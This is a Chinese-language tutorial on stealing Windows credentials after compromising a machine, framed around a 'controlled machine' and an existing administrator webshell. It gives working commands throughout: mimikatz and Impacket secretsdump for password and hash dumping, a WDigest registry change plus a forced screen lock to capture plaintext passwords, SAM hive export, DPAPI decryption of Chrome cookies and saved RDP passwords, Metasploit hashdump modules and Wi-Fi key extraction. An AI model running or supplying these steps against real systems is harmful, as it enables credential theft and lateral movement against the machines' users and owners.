mimikatz简单使用
mimikatz获取Windows账号明文密码
mimikatz是法国的安全研究员开发的针对Windows各种环境下密码读取工具同时具有zerologon、约束委派攻击的作用,此本文主要讲mimikatz密码读取简单利用,不展开对漏洞利用、免杀作出详解。
mimikatz直接使用 sekurlsa::logonPasswords命令可获取低版本操作系统的明文密码,在高版本的操作系统无法直接获取明文密码
因此需要修改注册表让Wdigest Auth保存明文口令:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
成功修改注册表后需要想办法让被控机再输一遍口令,关机重启或者使用以下命令、powshell脚本强制将目标机器锁屏
命令:rundll32.exe user32.dll,LockWorkStation
powershell:
Function Lock-WorkStation {
$signature = @” [DllImport(“user32.dll”, SetLastError = true)] public static extern bool LockWorkStation(); “@
$LockWorkStation = Add-Type -memberDefinition $signature -name “Win32LockWorkStation” -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
在目标重新输入口令后在使用mimikatz获取一次密码
可以看到成功获取到目标的明文密码
mimikatz获取其他密码
1、获取vpn密码
token::elevate lsadump::sam lsadump::secrets exit vpn
2、获取IIS7配置文件密码
log “iis::apphost /in:”%systemroot%\system32\inetsrv\config\applicationHost.config” /live”
3、获取浏览器的密码和cookie信息
mimikatz.exe privilege::debug log “dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect” exit
mimikatz.exe privilege::debug log “dpapi::chrome /in:%localappdata%\google\chrome\USERDA1\default\USERDA1” exit
SAM利用
sam导出
SAM(安全账户管理器),SAM存放在注册表中,SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(已废弃)和NTLMHash(长度32bit由字母数字组成),现在用户凭证是以NTLM HASH形式保存。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密,接下来将对sam进行利用。
通过reg命令将sam、securit、system导出
reg save hklm\sam C:\sam.save
reg save hklm\security C:\security.save
reg save hklm\system C:\system.save
mimikatz读取hash
使用mimikataz输入以下命令
lsadump::sam /system:system.save /sam:sam.save /security:security.save
可以看到成功获取到用户的hash,但没有明文密码信息,因此可以尝试还有impaket工具中的secretsdump.py,输入以下命令
secretsdumps读取明文密码
secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL
可以看到成功获取到部分明文密码
获取本地保存的远程RDP明文密码
假设当前存在一个拥有administrator权限的webshell,我们可以查看注册表找出与本地(受控服务器)连接过的机器。命令如下
reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers” /s
可以看到这里有一个与10.x.x.50有过rdp协议通信的机器,使用cmdkey /list命令可查看详情,使用以下命令可查阅本地是否保留rdp的密码
dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
确定目标保留了rdp密码
根据上面的hash,使用mimikatz以下命令去找对应的masterkey的guid
mimikatz # privilege::debug
mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\71BC3C1A7DBB4ABCFAD1156FF7FC6D83
再使用mimikatz的DPAPI模块对应上面找到的guid找masterkey
最后借助masterkey使用以下命令解密rdp密码
mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials(文件hash) /masterkey:(这里写masterkey)
至此成功获取到10.xx.xx.50的密码
msf获取hash与密码
1、获取自动登录用户的密码
run windows/gather/credentials/windows_autologin
部分用户习惯设置成自动登录,可使用上述命令获取自动登录用户的密码
2、获取hash
run post/windows/gather/smart_hashdump
可以看到sandbox的密码是55555
获取系统保存过的WIFI密码
使用netsh wlan show profiles命令获取连接过的WiFi名
确定WiFi,以上述Mi未列输入命令netsh wlan show profile name=”Mi” key=clear
可以看到成功获取到明文密码,也可以使用以下批处理脚本将所有WiFi遍历显示
for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
参考链接
https://forum.butian.net/share/956